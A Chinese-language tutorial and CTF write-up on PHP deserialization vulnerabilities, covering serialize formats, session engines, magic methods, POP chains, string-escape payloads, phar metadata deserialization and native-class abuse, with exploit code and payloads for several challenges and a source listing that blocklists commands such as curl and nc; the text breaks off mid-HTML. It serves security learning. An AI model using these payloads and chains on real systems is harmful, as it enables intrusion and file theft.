- 資訊首頁(yè) > 網(wǎng)絡(luò )安全 >
- PHP反序列化、魔術(shù)方法以及反序列化漏洞的原理
這篇文章主要講解了“PHP反序列化、魔術(shù)方法以及反序列化漏洞的原理”,文中的講解內容簡(jiǎn)單清晰,易于學(xué)習與理解,下面請大家跟著(zhù)小編的思路慢慢深入,一起來(lái)研究和學(xué)習“PHP反序列化、魔術(shù)方法以及反序列化漏洞的原理”吧!
為方便存儲、轉移對象,將對象轉化為字符串的操作叫做序列化;將對象轉化的字符串恢復成對象的過(guò)程叫做反序列化。
php中的序列化與反序列化函數分別為:serialize()、unserialize()
<?php class azhe{ public $iq = '200'; public $eq = 300; private $pr = "4ut15m"; //private與protected屬性的序列化結果存在不可見(jiàn)字符 function func(){ echo "function\n"; } } $a = new azhe(); echo "serialize -> " . serialize($a)."\n"; ?> //運行結果 serialize -> O:4:"azhe":3:{s:2:"iq";s:3:"200";s:2:"eq";i:300;s:8:"azhepr";s:6:"4ut15m";} 將結果進(jìn)行url編碼如下 O%3A4%3A%22azhe%22%3A3%3A%7Bs%3A2%3A%22iq%22%3Bs%3A3%3A%22200%22%3Bs%3A2%3A%22eq%22%3Bi%3A300%3Bs%3A8%3A%22%00azhe%00pr%22%3Bs%3A6%3A%224ut15m%22%3B%7D
序列化后的結果可分為幾類(lèi)
類(lèi)型:d ->d代表一個(gè)整型數字 O:d -> 對象 ->d代表該對象類(lèi)型的長(cháng)度,例如上述的azhe類(lèi)對象長(cháng)度為4,原生類(lèi)對象Error長(cháng)度為5 a:d -> 數組 ->d代表數組內部元素數量,例如array('a'=>'b','x'=>1)有兩個(gè)元素 s:d -> 字符串 -dN代表字符串長(cháng)度,例如abc序列化后為s:3:"abc"; i:d -> 整型 ->d代表整型變量的值,例如300序列化后的值則為i:300; a - array b - boolean d - double i - integer o - common object r - reference s - string C - custom object O - class N - null R - pointer reference U - unicode string
php的session存儲的也是序列化后的結果
php對session的處理有三種引擎分別為php、php_serialize、php_binary.經(jīng)過(guò)這三者處理后的session結構都不相同。
php_serialize ->與serialize函數序列化后的結果一致 php ->key|serialize后的結果 php_binary ->鍵名的長(cháng)度對應的ascii字符+鍵名+serialize()函數序列化的值 默認使用php引擎
使用php引擎的結果見(jiàn)上圖
使用php_serialize引擎的結果如下
使用php_binary引擎的結果如下
其中存在不可見(jiàn)字符,將結果進(jìn)行URL編碼如下
在session文件可寫(xiě)的情況下,可手動(dòng)寫(xiě)入我們想要的內容,例如
<?php ini_set('open_basedir','/var/www/html'); session_save_path('/var/www/html'); session_start(); highlight_file(__FILE__); include "flag.php"; $banner = "--4ut15m--\n"; if($_SESSION['name']==='admin'){ echo $flag."<br>"; }else if(isset($_GET['name']) && isset($_GET['content'])){ if(preg_match('/ph/i',$_GET['name'])){ var_dump($_GET['name']); die('over'); }else file_put_contents('/var/www/html/'.$_GET['name'],$banner . $_GET['content']); } ?>
該題目中可任意文件寫(xiě),故寫(xiě)入session文件構造name=admin.payload=|s:3:"xxx";name|s:5:"admin";
簡(jiǎn)單說(shuō)一下payload.
banner和payload拼接在一起后變?yōu)?code>--4ut15m--\n|s:3:"xxx";name|s:5:"admin";經(jīng)php序列化引擎反序列化后就成為了
$_SESSION=['--4ut15m--\n' => 'xxx', 'name' => 'admin']
滿(mǎn)足一定條件自動(dòng)調用的方法即為魔術(shù)方法,常見(jiàn)魔術(shù)方法及觸發(fā)條件如下
__wakeup() //使用unserialize時(shí)觸發(fā) __sleep() //使用serialize時(shí)觸發(fā) __destruct() //對象被銷(xiāo)毀時(shí)觸發(fā) __call() //在對象上下文中調用不可訪(fǎng)問(wèn)的方法時(shí)觸發(fā) __callStatic() //在靜態(tài)上下文中調用不可訪(fǎng)問(wèn)的方法時(shí)觸發(fā) __get() //用于從不可訪(fǎng)問(wèn)的屬性讀取數據 __set() //用于將數據寫(xiě)入不可訪(fǎng)問(wèn)的屬性 __isset() //在不可訪(fǎng)問(wèn)的屬性上調用isset()或empty()觸發(fā) __unset() //在不可訪(fǎng)問(wèn)的屬性上使用unset()時(shí)觸發(fā) __toString() //把類(lèi)當作字符串使用時(shí)觸發(fā) __invoke() //當腳本嘗試將對象調用為函數時(shí)觸發(fā)
<?php class Superman{ public $id = 1; public $name = "4ut15m"; function __construct(){ echo "正在實(shí)例化Superman類(lèi),這是__construct的echo\n"; } function __destruct(){ echo "正在銷(xiāo)毀Superman對象,這是__destruct的echo\n"; } function __get($key){ echo "你想訪(fǎng)問(wèn){$key}屬性,但是Superman沒(méi)有這個(gè)屬性,這是__get的echo\n"; } function __call($key,$value){ echo "你想調用{$key}方法,但是Superman沒(méi)有這個(gè)方法,這是__call的echo\n"; } } $superman = new Superman(); $superman->ed; $superman->eval(); ?> //運行結果 正在實(shí)例化Superman類(lèi),這是__construct的echo 你想訪(fǎng)問(wèn)ed屬性,但是Superman沒(méi)有這個(gè)屬性,這是__get的echo 你想調用eval方法,但是Superman沒(méi)有這個(gè)方法,這是__call的echo 正在銷(xiāo)毀Superman對象,這是__destruct的echo
當程序中存在反序列化可控點(diǎn)時(shí),造成該漏洞,可通過(guò)程序中存在的類(lèi)和php原生類(lèi)構造pop鏈達成攻擊。
<?php highlight_file(__FILE__); class hit{ public $file = ""; function __construct(){ $this->file = "index.php"; } function __destruct(){ echo file_get_contents($this->file); } } unserialize($_GET['file']); ?>
又例如
<?php highlight_file(__FILE__); class hit{ public $name = ""; function __construct(){ $this->name = "4ut15m"; } function __destruct(){ echo $this->name; } } class wow{ public $wuhusihai = ""; function __construct(){ $this->wuhusihai = "wuwuwu"; } function __toString(){ $this->wuhusihai->b(); return "ok"; } } class fine{ public $code = ""; function __call($key,$value){ @eval($this->code); } } unserialize($_GET['payload']); ?>
pop鏈為hit->__destruct() ----> wow->__toString() ----> fine->__call(),構造payload
l3m0n文章
原生類(lèi)即是php內置類(lèi),查看擁有所需魔術(shù)方法的類(lèi)如下
<?php $classes = get_declared_classes(); //獲取所有已定義類(lèi) foreach($classes as $class){ $methods = get_class_methods($class); //獲取當前類(lèi)所擁有的方法 foreach($methods as $methdo){ if(in_array($method, array( '__destruct', '__toString', '__wakeup', '__call', '__callStatic', '__get', '__set', '__isset', '__unset', '__invoke', '__set_state' //調用var_export導出類(lèi)時(shí)被調用 ))){ print "$class::$method"; } } } ?>
結果如下
Exception::__wakeup Exception::__toString ErrorException::__wakeup ErrorException::__toString Generator::__wakeup DateTime::__wakeup DateTime::__set_state DateTimeImmutable::__wakeup DateTimeImmutable::__set_state DateTimeZone::__wakeup DateTimeZone::__set_state DateInterval::__wakeup DateInterval::__set_state DatePeriod::__wakeup DatePeriod::__set_state LogicException::__wakeup LogicException::__toString BadFunctionCallException::__wakeup BadFunctionCallException::__toString BadMethodCallException::__wakeup BadMethodCallException::__toString DomainException::__wakeup DomainException::__toString InvalidArgumentException::__wakeup InvalidArgumentException::__toString LengthException::__wakeup LengthException::__toString OutOfRangeException::__wakeup OutOfRangeException::__toString RuntimeException::__wakeup RuntimeException::__toString OutOfBoundsException::__wakeup OutOfBoundsException::__toString OverflowException::__wakeup OverflowException::__toString RangeException::__wakeup RangeException::__toString UnderflowException::__wakeup UnderflowException::__toString UnexpectedValueException::__wakeup UnexpectedValueException::__toString CachingIterator::__toString RecursiveCachingIterator::__toString SplFileInfo::__toString DirectoryIterator::__toString FilesystemIterator::__toString RecursiveDirectoryIterator::__toString GlobIterator::__toString SplFileObject::__toString SplTempFileObject::__toString SplFixedArray::__wakeup ReflectionException::__wakeup ReflectionException::__toString ReflectionFunctionAbstract::__toString ReflectionFunction::__toString ReflectionParameter::__toString ReflectionMethod::__toString ReflectionClass::__toString ReflectionObject::__toString ReflectionProperty::__toString ReflectionExtension::__toString ReflectionZendExtension::__toString DOMException::__wakeup DOMException::__toString PDOException::__wakeup PDOException::__toString PDO::__wakeup PDOStatement::__wakeup SimpleXMLElement::__toString SimpleXMLIterator::__toString PharException::__wakeup PharException::__toString Phar::__destruct Phar::__toString PharData::__destruct PharData::__toString PharFileInfo::__destruct PharFileInfo::__toString CURLFile::__wakeup i_sql_exception::__wakeup mysqli_sql_exception::__toString SoapClient::__call SoapFault::__toString SoapFault::__wakeup
將Error對象以字符串輸出時(shí)會(huì )觸發(fā)__toString,構造message可xss
異常類(lèi)大多都可以如此利用
__call方法可用
<?php $a = new SoapClient(null,array('uri'=>'http://:port','location'=>'http://vps:port/')); #echo serialize($a); $a->azhe(); //還可以設置user_agent,user_agent處可通過(guò)CRLF注入惡意請求頭 ?>
序列化字符串內容可控情況下,若服務(wù)端存在替換序列化字符串中敏感字符操作,則可能造成反序列化字符逃逸。
<?php highlight_file(__FILE__); include 'flag.php'; class Taoyi{ public $name=""; public $id="id"; } function filter($string){ return preg_replace('/QAQ/','wuwu',$string); } $name = $_GET['name']; $taoyi = new Taoyi(); $taoyi->id = "100"; $taoyi->name = $name; $haha = filter(serialize($taoyi)); echo "haha --> {$haha} <br>"; @$haha = unserialize($haha); if($haha->id === '3333'){ echo $flag; } ?>
$taoyi->id
被限定為100,但是$taoyi->name
可控并且$taoyi
對象被序列化后會(huì )經(jīng)過(guò)filter函數處理,將敏感詞QAQ替換為wuwu,而我們需要使最后的$haha->id='3333'
.
正常傳值name=4ut15m,結果為O:5:"Taoyi":2:{s:4:"name";s:6:"4ut15m";s:2:"id";s:3:"100";} 傳遞包含敏感詞的值name=4ut15mQAQ,結果為O:5:"Taoyi":2:{s:4:"name";s:9:"4ut15mwuwu";s:2:"id";s:3:"100";} 可以看見(jiàn)s:4:"name";s:9:"4ut15mwuwu";這里4ut15mwuwu的長(cháng)度為10,和前面的s:9對不上,所以會(huì )反序列化失敗。 這里構造一個(gè)payload去閉合雙引號,name=4ut15mQAQ",結果為O:5:"Taoyi":2:{s:4:"name";s:10:"4ut15mwuwu"";s:2:"id";s:3:"100";} 可以看見(jiàn)s:10:"4ut15mwuwu"";其中s:10所對應的字符串為4ut15mwuwu,也即是我們輸入的雙引號閉合了前面的雙引號,而序列化自帶的雙引號則成為了多余的雙引號。 我們每輸入一個(gè)敏感字符串都可以逃逸一個(gè)字符(上面輸入了一個(gè)QAQ,所以可以逃逸出一個(gè)雙引號去閉合前面的雙引號)。 故我們可以通過(guò)構造payload使得我們能夠控制id的值,達到對象逃逸的效果。 如下圖
payload為name=4ut15mQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQ";s:2:"id";s:4:"3333";}
payload構造思路 先明確需要逃逸的字符串及其長(cháng)度,在此即為";s:2:"id";s:4:"3333";}長(cháng)度為23,需要逃逸23個(gè)字符,所以加入23個(gè)QAQ即可滿(mǎn)足條件.
<?php highlight_file(__FILE__); include 'flag.php'; class Taoyi{ public $name=""; public $id="id"; public $xixi=""; } function filter($string){ return preg_replace('/wuwu/','QAQ',$string); } $name = $_GET['name']; $xixi = $_GET['xixi']; $taoyi = new Taoyi(); $taoyi->id = "100"; $taoyi->xixi = $xixi; $taoyi->name = $name; $haha = filter(serialize($taoyi)); echo "haha --> {$haha} <br>"; @$haha = unserialize($haha); if($haha->id === '3333'){ echo $flag; } ?>
序列化字符串減少的情況,需要序列化字符串有至少兩處可控點(diǎn).這里是將敏感詞wuwu替換為QAQ。
正常傳值name=4ut15m&xixi=1234,結果為O:5:"Taoyi":3:{s:4:"name";s:6:"4ut15m";s:2:"id";s:3:"100";s:4:"xixi";s:4:"1234";} 第一個(gè)可控點(diǎn)name作為逃逸點(diǎn),第二個(gè)可控點(diǎn)xixi作為逃逸對象所在點(diǎn). 因為需要逃逸的屬性id在xixi的前面,故需要通過(guò)在name處構造payload將屬性id對應的字符串吞沒(méi). 測試傳值name=4ut15mwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwu&xixi=1234 結果為O:5:"Taoyi":3:{s:4:"name";s:82:"4ut15mQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQ";s:2:"id";s:3:"100";s:4:"xixi";s:4:"1234";} 可以看到替換后s:82對應的字符串為4ut15mQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQ";s:2:"id";s:3:"100 故替換后只剩兩個(gè)屬性name與xixi.同樣的道理可以用在屬性xixi上,如果不吞沒(méi)屬性xixi,那么在xixi處傳遞的數據會(huì )作為xixi的值,仍舊無(wú)法達到效果。 只要將id與xixi都吞沒(méi),就可以在xixi處傳遞參數重新構造這兩個(gè)屬性值。 如下
payload為name=4ut15mwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwu&xixi=";s:2:"id";s:4:"3333";s:4:"xixi";s:1:"x";}
payload構造思路 先明確需要逃逸的字符串,";s:2:"id";s:4:"3333";s:4:"xixi";s:1:"x";},再確認逃逸字符串字符串之前需要吞沒(méi)的字符串的長(cháng)度,在此為";s:2:"id";s:3:"100";s:4:"xixi";s:42:" 長(cháng)度為38 每一個(gè)wuwu可以吞沒(méi)一個(gè)字符,所以需要38個(gè)wuwu去吞沒(méi)這個(gè)字符串。
phar文件是php的打包文件,在php.ini中可以通過(guò)設置phar.readonly來(lái)控制phar文件是否為只讀,若非只讀(phar.readonly=Off)則可以生成phar文件.
四部分,stub、manifest、contents、signature
1.stub phar文件標志,必須包含<?php __HALT_COMPILER(); ?>,PHP結束標志?>可以省略,但語(yǔ)句結束符;與stub的結尾之間不能超過(guò)兩個(gè)空格。在生成phar之前應先添加stub.<?php __HALT_COMPILER(); ?>之前也可添加其他內容偽造成其他文件,比如GIF89a<?php __HALT_COMPILER(); ?> 2.manifest 存放phar歸檔信息.Manifest結構如下圖 所有未使用的標志保留,供將來(lái)使用,并且不得用于存儲自定義信息。使用每個(gè)文件的元數據功能來(lái)存儲有關(guān)特定文件的自定義信息.
php中的大部分與文件操作相關(guān)函數在通過(guò)phar協(xié)議獲取數據時(shí)會(huì )將phar文件的meta-data部分反序列化
fileatime、filectime、file_exists、file_get_contents、file_put_contents、file、filegroup、fopen、fileinode、filemtime、fileowner、fileperms、is_dir、is_executable、is_file、is_link、is_readable、is_writable、is_writeable、parse_ini_file、copy、unlink、stat、readfile
生成phar文件例子如下
<?php class pharfile{ public $name="4ut15m"; } $phar = new Phar("4ut15m.phar"); $phar->startBuffering(); //開(kāi)啟緩沖區 $phar->setStub("<?php __HALT_COMPILER(); ?>"); //設置stub $test = new pharfile(); $phar->setMetadata($test); //設置metadata,這一部分數據會(huì )被序列化 $phar->addFromString("azhe.txt",'test'); //添加壓縮文件 $phar->stopBuffering(); //關(guān)閉緩沖區 ?>
&
在php中是位運算符也是引用符(&&
為邏輯運算符).&
可以使不同名變量指向同一個(gè)值,類(lèi)似于C中的地址。
倘若出現下述情況,即可使用引用符
<?php include "flag.php"; highlight_file(__FILE__); class FLAG{ public $one; public $two; public function __wakeup(){ $this->one = "azhe"; } } $a = @unserialize($_GET['payload']); $a->two = $flag; if($a->one === $a->two){ echo "flag is here:$flag"; } ?>
這里的__wakeup
是不需要繞過(guò)的,$a->one
引用了$a->two
后這兩者的值一定會(huì )相等,不管誰(shuí)做了改變。
序列化結果中的R:2;
即是引用.
算是反序列化入門(mén)題吧
index.php中發(fā)現提示
下載備份文件index.php.bak,審計
<?php header("Content-Type: text/html;charset=utf-8"); error_reporting(0); echo "<!-- YmFja3Vwcw== -->"; class ctf { protected $username = 'hack'; protected $cmd = 'NULL'; public function __construct($username,$cmd) { $this->username = $username; $this->cmd = $cmd; } function __wakeup() { $this->username = 'guest'; } function __destruct() { if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd)) { exit('</br>flag能讓你這么容易拿到嗎?<br>'); } if ($this->username === 'admin') { // echo "<br>right!<br>"; $a = `$this->cmd`; var_dump($a); }else { echo "</br>給你個(gè)安慰獎吧,hhh!</br>"; die(); } } } $select = $_GET['code']; $res=unserialize(@$select); ?>
直接編寫(xiě)exp
禁用了一些文件讀取命令,曲線(xiàn)救國如下
源碼
<?php $text = $_GET["text"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ echo "<br><h2>".file_get_contents($text,'r')."</h2></br>"; if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ include($file); //useless.php $password = unserialize($password); echo $password; } } else{ highlight_file(__FILE__); } ?> //考點(diǎn): 基本的反序列化漏洞,php偽協(xié)議的利用
第一層if通過(guò)php://input滿(mǎn)足,file通過(guò)php://filter讀取useless.php
//useless.php <?php class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>
payload構造
創(chuàng )建一個(gè)Flag對象,使得該對象的file屬性為flag.php 提交序列化字符串即可
<?php //flag is in flag.php //WTF IS THIS? //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95 //And Crack It! class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } } class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } } if(isset($_GET['pop'])){ @unserialize($_GET['pop']); } else{ $a=new Show; highlight_file(__FILE__); } //考點(diǎn): 基本的序列化pop鏈構造
payload構造
思路:1.需要將Modifier的對象當作函數調用 2.需要將Show的對象當作字符串處理 3.需要調用Test對象中不存在的屬性 preg_match是處理字符串的,當使得一個(gè)Show1->source為Show2對象時(shí),可調用Show2的__toString.而該魔術(shù)方法調用$this->str->source,若使得該對象的source為T(mén)est對象,則可觸發(fā)Test對象的__get方法,在Test對象的__get方法中又可構造使得將一個(gè)Modifier類(lèi)當作函數調用,觸發(fā)__invoke. payload如下
注冊賬號登錄后,在下載功能處發(fā)現任意文件下載,扒取源碼如下
//index.php <?php session_start(); if (!isset($_SESSION['login'])) { header("Location: login.php"); die(); } ?> <!DOCTYPE html> <html> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <title>網(wǎng)盤(pán)管理</title> <head><link href="static/css/bootstrap.min.css" rel="stylesheet"><link href="static/css/panel.css" rel="stylesheet"><script src="static/js/jquery.min.js"></script><script src="static/js/bootstrap.bundle.min.js"></script><script src="static/js/toast.js"></script><script src="static/js/panel.js"></script> </head> <body><nav aria-label="breadcrumb"><ol class="breadcrumb"><li class="breadcrumb-item active">管理面板</li><li class="breadcrumb-item active"><label for="fileInput" class="fileLabel">上傳文件</label></li><li class="active ml-auto"><a href="#">你好 <?php echo $_SESSION['username']?></a></li></ol> </nav> <input type="file" id="fileInput" class="hidden"> <div class="top" id="toast-container"></div> <?php include "class.php"; $a = new FileList($_SESSION['sandbox']); $a->Name(); $a->Size(); ?>
//login.php <?php session_start(); if (isset($_SESSION['login'])) { header("Location: index.php"); die(); } ?> <!doctype html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content=""> <title>登錄</title> <!-- Bootstrap core CSS --> <link href="static/css/bootstrap.min.css" rel="stylesheet"> <style>.bd-placeholder-img { font-size: 1.125rem; text-anchor: middle; } @media (min-width: 768px) { .bd-placeholder-img-lg { font-size: 3.5rem; } } </style> <!-- Custom styles for this template --> <link href="static/css/std.css" rel="stylesheet"> </head> <body class="text-center"> <form class="form-signin" action="login.php" method="POST"><h2 class="h4 mb-3 font-weight-normal">登錄</h2><label for="username" class="sr-only">Username</label><input type="text" name="username" class="form-control" placeholder="Username" required autofocus><label for="password" class="sr-only">Password</label><input type="password" name="password" class="form-control" placeholder="Password" required><button class="btn btn-lg btn-primary btn-block" type="submit">提交</button><p class="mt-5 text-muted">還沒(méi)有賬號? <a href="register.php">注冊</a></p><p class="text-muted">? 2018-2019</p> </form> <div class="top" id="toast-container"></div> </body> <script src="static/js/jquery.min.js"></script> <script src="static/js/bootstrap.bundle.min.js"></script> <script src="static/js/toast.js"></script> </html> <?php include "class.php"; if (isset($_GET['register'])) { echo "<script>toast('注冊成功', 'info');</script>"; } if (isset($_POST["username"]) && isset($_POST["password"])) { $u = new User(); $username = (string) $_POST["username"]; $password = (string) $_POST["password"]; if (strlen($username) < 20 && $u->verify_user($username, $password)) { $_SESSION['login'] = true; $_SESSION['username'] = htmlentities($username); $sandbox = "uploads/" . sha1($_SESSION['username'] . "sftUahRiTz") . "/"; if (!is_dir($sandbox)) { mkdir($sandbox); } $_SESSION['sandbox'] = $sandbox; echo("<script>window.location.href='index.php';</script>"); die(); } echo "<script>toast('賬號或密碼錯誤', 'warning');</script>"; } ?>
//download.php <?php session_start(); if (!isset($_SESSION['login'])) { header("Location: login.php"); die(); } if (!isset($_POST['filename'])) { die(); } include "class.php"; ini_set("open_basedir", getcwd() . ":/etc:/tmp"); chdir($_SESSION['sandbox']); $file = new File(); $filename = (string) $_POST['filename']; if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) { Header("Content-type: application/octet-stream"); Header("Content-Disposition: attachment; filename=" . basename($filename)); echo $file->close(); } else { echo "File not exist"; } ?>
//delete.php <?php session_start(); if (!isset($_SESSION['login'])) { header("Location: login.php"); die(); } if (!isset($_POST['filename'])) { die(); } include "class.php"; chdir($_SESSION['sandbox']); $file = new File(); $filename = (string) $_POST['filename']; if (strlen($filename) < 40 && $file->open($filename)) { $file->detele(); Header("Content-type: application/json"); $response = array("success" => true, "error" => ""); echo json_encode($response); } else { Header("Content-type: application/json"); $response = array("success" => false, "error" => "File not exist"); echo json_encode($response); } ?>
//upload.php <?php session_start(); if (!isset($_SESSION['login'])) { header("Location: login.php"); die(); } include "class.php"; if (isset($_FILES["file"])) { $filename = $_FILES["file"]["name"]; $pos = strrpos($filename, "."); if ($pos !== false) { $filename = substr($filename, 0, $pos); } $fileext = ".gif"; switch ($_FILES["file"]["type"]) { case 'image/gif': $fileext = ".gif"; break; case 'image/jpeg': $fileext = ".jpg"; break; case 'image/png': $fileext = ".png"; break; default: $response = array("success" => false, "error" => "Only gif/jpg/png allowed"); Header("Content-type: application/json"); echo json_encode($response); die(); } if (strlen($filename) < 40 && strlen($filename) !== 0) { $dst = $_SESSION['sandbox'] . $filename . $fileext; move_uploaded_file($_FILES["file"]["tmp_name"], $dst); $response = array("success" => true, "error" => ""); Header("Content-type: application/json"); echo json_encode($response); } else { $response = array("success" => false, "error" => "Invaild filename"); Header("Content-type: application/json"); echo json_encode($response); } } ?>
//class.php <?php error_reporting(0); $dbaddr = "127.0.0.1"; $dbuser = "root"; $dbpass = "root"; $dbname = "dropbox"; $db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname); class User { public $db; public function __construct() { global $db; $this->db = $db; } public function user_exist($username) { $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;"); $stmt->bind_param("s", $username); $stmt->execute(); $stmt->store_result(); $count = $stmt->num_rows; if ($count === 0) { return false; } return true; } public function add_user($username, $password) { if ($this->user_exist($username)) { return false; } $password = sha1($password . "SiAchGHmFx"); $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);"); $stmt->bind_param("ss", $username, $password); $stmt->execute(); return true; } public function verify_user($username, $password) { if (!$this->user_exist($username)) { return false; } $password = sha1($password . "SiAchGHmFx"); $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;"); $stmt->bind_param("s", $username); $stmt->execute(); $stmt->bind_result($expect); $stmt->fetch(); if (isset($expect) && $expect === $password) { return true; } return false; } public function __destruct() { $this->db->close(); } } class FileList { private $files; private $results; private $funcs; public function __construct($path) { $this->files = array(); $this->results = array(); $this->funcs = array(); $filenames = scandir($path); $key = array_search(".", $filenames); unset($filenames[$key]); $key = array_search("..", $filenames); unset($filenames[$key]); foreach ($filenames as $filename) { $file = new File(); $file->open($path . $filename); array_push($this->files, $file); $this->results[$file->name()] = array(); } } public function __call($func, $args) { array_push($this->funcs, $func); foreach ($this->files as $file) { $this->results[$file->name()][$func] = $file->$func(); } } public function __destruct() { $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">'; $table .= '<thead><tr>'; foreach ($this->funcs as $func) { $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>'; } $table .= '<th scope="col" class="text-center">Opt</th>'; $table .= '</thead><tbody>'; foreach ($this->results as $filename => $result) { $table .= '<tr>'; foreach ($result as $func => $value) { $table .= '<td class="text-center">' . htmlentities($value) . '</td>'; } $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下載</a> / <a href="#" class="delete">刪除</a></td>'; $table .= '</tr>'; } echo $table; } } class File { public $filename; public function open($filename) { $this->filename = $filename; if (file_exists($filename) && !is_dir($filename)) { return true; } else { return false; } } public function name() { return basename($this->filename); } public function size() { $size = filesize($this->filename); $units = array(' B', ' KB', ' MB', ' GB', ' TB'); for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024; return round($size, 2).$units[$i]; } public function detele() { unlink($this->filename); } public function close() { return file_get_contents($this->filename); } } ?>
先分析類(lèi)文件,User類(lèi)存在__destruct
魔術(shù)方法,并且在其中調用$this->db->close()
,再一看File類(lèi),剛好有close
方法,但是User的__destruct
中并未輸出結果。再看FileList類(lèi),其中存在__call
與__destruct
.__call
方法首先將調用的不存在函數$func
放至FileList->funcs
數組尾部,而后遍歷FileList->files
并且調用FileList->files->$func()
,執行結果會(huì )被賦值給FileList->result
.FileList->__destruct方法輸出result的結果。
很常規,該題POP鏈很好構造。User->__destruct --> FileList->__call --> File->close() --> FileList->__destruct
在delete.php中找到程序反序列化觸發(fā)點(diǎn)
跟進(jìn)detele方法
unlink是個(gè)文件操作函數,可以通過(guò)phar協(xié)議進(jìn)行反序列化。程序可以上傳圖片,故生成phar文件修改后綴上傳,在刪除功能處觸發(fā)反序列化即可(經(jīng)測試,flag文件為/flag.txt)。
exp如下
<?php class User{ public $db; public function __construct(){ $this->db = new FileList(); } } class FileList{ private $files; private $results; private $funcs; public function __construct(){ $this->files = array(new File()); $this->results; $this->funcs; } } class File{ public $filename = "../../../../../../flag.txt"; } $a = new User(); $phar = new Phar('4ut15m.phar'); $phar->startBuffering(); $phar->setStub('<?php __HALT_COMPILER();?>'); $phar->setMetadata($a); $phar->addFromString('azhe.txt','4ut15m'); $phar->stopBuffering(); ?>
<?php include("flag.php"); highlight_file(__FILE__); class FileHandler { protected $op; protected $filename; protected $content; function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); } public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; } private function output($s) { echo "[Result]: <br>"; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); } } //考點(diǎn): php弱類(lèi)型語(yǔ)言==判斷漏洞,基本的反序列化漏洞,序列化過(guò)程對protect、private屬性的處理
程序只允許使用ascii碼在32-125范圍內的字符,滿(mǎn)足條件就反序列化。
process方法中規定,當op=="2"時(shí)可以讀取$filename
文件,op=="1"時(shí)可以寫(xiě)入文件.
析構函數中規定,當op==="2"時(shí)使得op="1".
綜上可知,當使得op !=="2"但op =="2"時(shí),可以讀取文件。構造op=2可滿(mǎn)足條件
payload構造
因為要讀取flag.php,所以使得filename='flag.php';因為要執行讀取操作,所以使得op=2 類(lèi)的private或protected屬性在序列化后存在不可見(jiàn)字符,不可見(jiàn)字符不在可使用字符范圍內(如若可用則需要將序列化后的字符串進(jìn)行編碼),我們可以手動(dòng)修改protected屬性為public屬性,硬核過(guò)is_valid
發(fā)現www.zip,獲得源碼
//index.php <?php require_once('class.php'); if($_SESSION['username']) { header('Location: profile.php'); exit; } if($_POST['username'] && $_POST['password']) { $username = $_POST['username']; $password = $_POST['password']; if(strlen($username) < 3 or strlen($username) > 16) die('Invalid user name'); if(strlen($password) < 3 or strlen($password) > 16) die('Invalid password'); if($user->login($username, $password)) { $_SESSION['username'] = $username; header('Location: profile.php'); exit; } else { die('Invalid user name or password'); } } else { ?> <!DOCTYPE html> <html> <head> <title>Login</title> <link href="static/bootstrap.min.css" rel="stylesheet"> <script src="static/jquery.min.js"></script> <script src="static/bootstrap.min.js"></script> </head> <body> <div class="container" > <form action="index.php" method="post" class="well" > <img src="static/piapiapia.gif" class="img-memeda " > <h4>Login</h4> <label>Username:</label> <input type="text" name="username" class="span3"/> <label>Password:</label> 